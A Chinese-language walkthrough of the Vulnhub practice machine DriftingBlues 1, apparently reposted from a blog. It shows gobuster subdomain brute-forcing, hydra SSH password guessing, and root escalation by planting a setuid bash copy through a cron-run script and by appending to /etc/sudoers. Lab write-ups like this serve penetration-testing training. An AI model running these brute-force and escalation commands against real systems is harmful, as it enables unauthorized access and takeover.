Vulnhub靶机:driftingblues 1

发布时间:2024年01月13日

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:driftingblues1(10.0.2.17)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/driftingblues-1,625/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.17

在这里插入图片描述

使用nmap端口扫描发现靶机开放端口:22、80

在这里插入图片描述

打开网站,使用dirsearch工具爆破目录,未发现敏感目录。

查看网站源码,发现一个使用base64加密的隐藏数据,解密为/noteforkingfish.txt

 L25vdGVmb3JraW5nZmlzaC50eHQ= 

在这里插入图片描述

访问/noteforkingfish.txt可以看到一个加密的数据,使用Ook!编码。

在这里插入图片描述

解密得到提示:如何使用host文件到达我们的秘密位置,解密网站: splitbrain.org

my man, i know you are new but you should know how to use host file to reach our secret location. -eric

三、漏洞利用

根据提示修改hosts文件,网站里唯一出现的域名添加上去

10.0.2.17      driftingblues.box

在这里插入图片描述

再次爆破目录,使用dirb和dirsearch工具没有爆出东西来,怀疑是字典的问题

这些都爆不出来
/usr/share/wordlists/dirb/big.txt
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

看了一下wp,好吧是我肤浅了,有域名可以爆破子域名,使用gobuster工具进行爆破。

使用vhost模式,测试目的IP有哪些对应的服务域名/虚拟主机,需要构造爆破字典

#构造字典脚本
file=open('/usr/share/dnsenum/dns.txt')
dataMat=[]  
for line in file.readlines():
    vhost_line=line.strip('\n')+'.driftingblues.box\n'
    dataMat.append(vhost_line)
with open('/root/桌面/dnsdict.txt', 'w') as f:
    f.writelines(dataMat)

使用gobuster进行爆破,发现响应码为200的子域名,爆破成功

gobuster vhost -u driftingblues.box -w /media/sf_kali_share/dnsdict.txt

在这里插入图片描述

将爆破出来的子域名添加到/etc/hosts文件

10.0.2.17      test.driftingblues.box

浏览器访问子域名

在这里插入图片描述

使用dirsearch工具爆破目录,发现存在robots.txt文件,访问该文件可以看到/ssh_cred.txt不允许爬虫访问

在这里插入图片描述
在这里插入图片描述

访问/ssh_cred.txt得到密码提示:1mw4ckyyucky后面加一个数字

在这里插入图片描述

可以构造字典使用hydra工具爆破ssh的密码,用户名字典内容为:eric、sheryl、db

hydra -l use.txt -P pass.txt 10.0.2.17 ssh

在这里插入图片描述

爆破成功获得用户名和密码:eric\1mw4ckyyucky6

登录ssh

在这里插入图片描述

四、提权

使用命令sudo -l查看有什么特权命令,发现没有

查看具有root权限的文件,看看有什么可以利用的,发现/usr/lib/policykit-1/polkit-agent-helper-1可以利用cve-2021-4034进行提权,但靶机没有gcc环境,只能作罢

在这里插入图片描述

在靶机到处翻一番查看其他地方有没有可以利用的文件

发现在/var/backups文件夹下有backup.sh文件,该文件在/tmp创建backip.zip备份文件,并且backip.zip文件是root权限的文件

在这里插入图片描述
在这里插入图片描述

尝试执行backup.sh失败,权限不够,把整个靶机都翻了一下,暂时没有发现其他的可利用的文件

瞄了一眼wp,思路是发现backup.zip的创建时间在变化,猜测靶机有计划任务每隔一段时间执行backup.sh文件,可以根据backup.sh文件会执行sudo /tmp/emergency命令,在tmp文件夹下创建一个emergency文件进行提权

在这里插入图片描述
在这里插入图片描述

创建一个emergency提权文件,等待片刻,getroot文件被创建,执行getroot文件提权成功

echo 'cp /bin/bash /tmp/getroot;chmod +s /tmp/getroot' > /tmp/emergency
chmod +x emergency
./getroot -p

其中:

chmod +s让普通用户临时拥有该文件的属主的执行权限

-p参数是因为 shell 启动时有效用户(组)ID 不等于真实用户(组)ID,避免重置有效用户 ID

在这里插入图片描述
在这里插入图片描述

也可以将eric用户加入sudo组,然后sudo提权

echo "eric ALL=(ALL:ALL) ALL" >> /etc/sudoers

获取flag

在这里插入图片描述
在这里插入图片描述

参考链接:vulnhub靶机DriftingBlues: 1渗透笔记_/noteforkingfish.txt-CSDN博客

文章来源:https://blog.csdn.net/qq_48904485/article/details/135566191
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。